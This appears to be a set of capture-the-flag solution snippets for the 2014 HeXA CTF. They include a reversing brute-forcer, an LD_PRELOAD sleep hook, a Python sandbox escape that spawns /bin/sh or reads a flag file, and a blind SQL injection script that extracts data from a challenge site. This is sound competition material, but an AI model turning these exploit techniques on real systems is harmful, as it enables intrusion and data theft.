HeXA 2nd CTF by tunz (2014.09.13)
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print 'aaa'*2+hex(0x20acecafe-0xdeadbeef-eval('0x'+'aaaa'.encode('hex'))*2)[2:].decode('hex') |
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import subprocess | |
flag=open('flag','r').read() | |
string = "The" | |
while True: | |
for i in range(32,126): | |
f = open('123','w') | |
tmp_string = string + chr(i) | |
f.write(tmp_string) | |
f.close() | |
subprocess.call(["./rev200","123","output"], stdout=subprocess.PIPE) | |
cracked = open('output','r').read() | |
if cracked in flag: | |
print "find : %s" % chr(i) | |
string = tmp_string | |
print "************* : " + string | |
break |
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gdb rev50 | |
(gdb) b check_password | |
(gdb) b *(check_password+82) | |
(gdb) x/10s $rdi |
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// System call `sleep` hooking | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <dlfcn.h> | |
unsigned int sleep (unsigned int __seconds) | |
{ | |
return 0; | |
} | |
// gcc -shared -ldl -fPIC test.c -o libdl_prog3.so | |
// LD_PRELOAD=/home/carpedm20/ctf/libdl_prog3.so ./rev80 | |
// gdb rev80 | |
// ... | |
// find the flag |
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sys.stdout.write(open('/home/sys50/flag').read()) | |
# Other solution from `silvara` | |
# __import__('os').execl('/bin/sh','sh') |
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file:///home/web100/flag |
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import requests | |
import time | |
s = requests.Session() | |
data = {'loginID':'asdf','loginPW':'asdf'} | |
r = s.post('http://web150.tunz.kr/login_ok.php',data=data) | |
print r.text.find('2014') | |
url = "http://web150.tunz.kr/ajax/add.php?sindex=0'" | |
if True: | |
#query = url + " or ascii(substr((select table_name FROM information_schema.tables limit 1 offset %s),%s,1))>%s -- " | |
#query = url + " or ascii(substr((select column_name FROM information_schema.columns where table_name='flag_hidden' limit 1 offset %s),%s,1))>%s -- " | |
query = url + " or ascii(substr((select flag FROM flag_hidden limit 1 offset %s),%s,1))>%s -- " | |
for i in range(0,100): | |
data = query % (i, 1, 1) | |
r = s.get(data) | |
print "========= %s ==========" % i | |
if 'Wrong' not in r.text: | |
tb = "" | |
for character_idx in range(1,50): | |
for character in range(32, 126): | |
data = query % (i, character_idx, character) | |
r = s.get(data) | |
if 'Already' not in r.text: #True response | |
print chr(character) | |
tb += chr(character) | |
break | |
print tb |
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